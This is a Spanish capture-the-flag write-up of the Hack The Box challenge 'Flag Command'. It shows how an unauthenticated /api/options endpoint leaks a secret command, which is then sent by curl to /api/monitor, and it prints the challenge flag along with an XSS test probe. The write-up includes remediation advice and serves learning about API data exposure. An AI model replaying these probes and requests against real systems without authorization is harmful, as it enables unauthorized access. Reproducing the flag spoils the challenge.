AVILX
WEB CHALLENGE · HACK THE BOX · 2026
Flag Command
Exposición de API sensible y comando secreto en aplicación Flask
| Plataforma | Hack The Box |
| Categoría | Web Challenge |
| Dificultad | Very Easy |
| Analista | Jesús Ávila (Avilx) |
| Fecha | 08 de Septiembre 2026 |
| Portafolio | avilx.dev |
Documentación de aprendizaje ofensivo | Entorno de laboratorio autorizado
Reconocimiento
Identificación de la aplicación
Al acceder a la aplicación se presentó una terminal interactiva en el navegador con una narrativa de texto de tipo aventura. La interfaz pide al usuario escribir comandos para navegar por un bosque ficticio.
Headers de respuesta del servidor:
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Content-Type: text/html; charset=utf-8
La aplicación corre sobre Flask/Werkzeug con Python 3.11.8. La interfaz es una terminal web que acepta comandos de texto. Al revisar el source HTML se identificaron tres archivos JavaScript cargados:
commands.js, main.js y game.js.Se intentó inyectar
<script>alert(1)</script> en la terminal para verificar XSS. La aplicación no lo interpretó — la terminal no renderiza HTML del input del usuario.Análisis del Código Fuente
Revisión de archivos JavaScript
Se revisaron los recursos estáticos cargados por la aplicación. En main.js se identificaron dos hallazgos críticos:
Hallazgo 1 — Endpoint de API expuesto:
Fragment de main.js:
const fetchOptions = () => {
fetch('/api/options')
.then((data) => data.json())
.then((res) => {
availableOptions = res.allPossibleCommands;
})
}
La aplicación carga todas las opciones del juego desde el endpoint
/api/options al iniciar. Este endpoint es accesible directamente sin autenticación y devuelve la estructura completa de comandos válidos.Hallazgo 2 — Clave secret en las opciones:
Fragment de main.js:
if (availableOptions[currentStep].includes(currentCommand) ||
availableOptions['secret'].includes(currentCommand)) {
await fetch('/api/monitor', {
method: 'POST',
body: JSON.stringify({ 'command': currentCommand })
})
}
La lógica del juego acepta comandos de dos fuentes: las opciones visibles del paso actual y una clave
secret que no se muestra en la interfaz. Si el comando enviado coincide con el secreto, la app lo procesa en /api/monitor y devuelve la flag.Explotación
Extracción del comando secreto
Se accedió directamente al endpoint /api/options para obtener todos los comandos disponibles incluyendo el secreto:
Request:
GET /api/options HTTP/1.1
Host: 154.57.164.71:31604
Respuesta:
{
"allPossibleCommands": {
"1": ["HEAD NORTH", "HEAD WEST", "HEAD EAST", "HEAD SOUTH"],
"2": ["GO DEEPER INTO THE FOREST", "FOLLOW A MYSTERIOUS PATH",
"CLIMB A TREE", "TURN BACK"],
"3": ["EXPLORE A CAVE", "CROSS A RICKETY BRIDGE",
"FOLLOW A GLOWING BUTTERFLY", "SET UP CAMP"],
"4": ["ENTER A MAGICAL PORTAL", "SWIM ACROSS A MYSTERIOUS LAKE",
"FOLLOW A SINGING SQUIRREL", "BUILD A RAFT AND SAIL DOWNSTREAM"],
"secret": [
"Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
]
}
}
El endpoint
/api/options expone sin autenticación toda la estructura del juego incluyendo la clave secret con el comando oculto: Blip-blop, in a pickle with a hiccup! Shmiggity-shmack.Obtención de la flag
Se envió el comando secreto directamente al endpoint /api/monitor:
Request:
curl -s -X POST http://154.57.164.71:31604/api/monitor \
-H "Content-Type: application/json" \
-d '{"command": "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"}'
Respuesta:
{
"message": "HTB{D3v3l0p3r_t00l5_4r3_b35t__t0015_wh4t_d0_y0u_Th1nk??}"
}
Flag obtenida:
HTB{D3v3l0p3r_t00l5_4r3_b35t__t0015_wh4t_d0_y0u_Th1nk??}. El backend processó el comando secreto sin ninguna validación adicional y retornó la flag directamente en la respuesta JSON.Impacto
/api/options expone sin autenticación toda la lógica interna del juego incluyendo datos que deberían permanecer ocultos al cliente. En una aplicación real, este patrón equivale a exponer configuración sensible, tokens, rutas internas o lógica de negocio que el servidor asume como secreta pero entrega al frontend sin protección. Cualquier usuario puede hacer una petición directa al endpoint y obtener información privilegiada sin interactuar con la interfaz.Remediación
-
Nunca enviar al cliente información que deba permanecer secreta — la validación del comando secreto debería ocurrir solo en el servidor
-
El endpoint
/api/optionsno debería incluir la clavesecreten su respuesta -
Implementar autenticación en endpoints de API que expongan lógica de negocio
Reflexión Final
Qué salió bien
-
La revisión sistemática del código JS fue directa — identificar los archivos cargados en el source HTML y revisarlos uno por uno llevó rápidamente al hallazgo clave
-
Reconocer el patrón
fetch(’/api/options’)como un endpoint accesible directamente acortó el tiempo de resolución
Qué salió mal
- Se intentó XSS como primer vector sin suficiente reconocimiento previo — la terminal no renderizaba HTML, lo que era evidente desde el source. El reconocimiento debe preceder a la explotación
Lecciones aprendidas
-
El código JavaScript del frontend es público: todo lo que el servidor envía al navegador — incluyendo archivos JS, endpoints, lógica de validación y datos considerados “secretos” — es visible para cualquier usuario. Nunca confiar en la seguridad por oscuridad del lado del cliente
-
Los endpoints de API son superficie de ataque directa: una API que devuelve más información de la necesaria es una vulnerabilidad de exposición de datos. Revisar siempre qué devuelven los endpoints antes de intentar exploits complejos
-
Las developer tools y curl son suficientes para muchos challenges: no siempre se necesita Burp — revisar el source, los recursos JS y hacer peticiones directas a los endpoints identificados es un flujo rápido y efectivo
Tiempo total
Aproximadamente 20 minutos.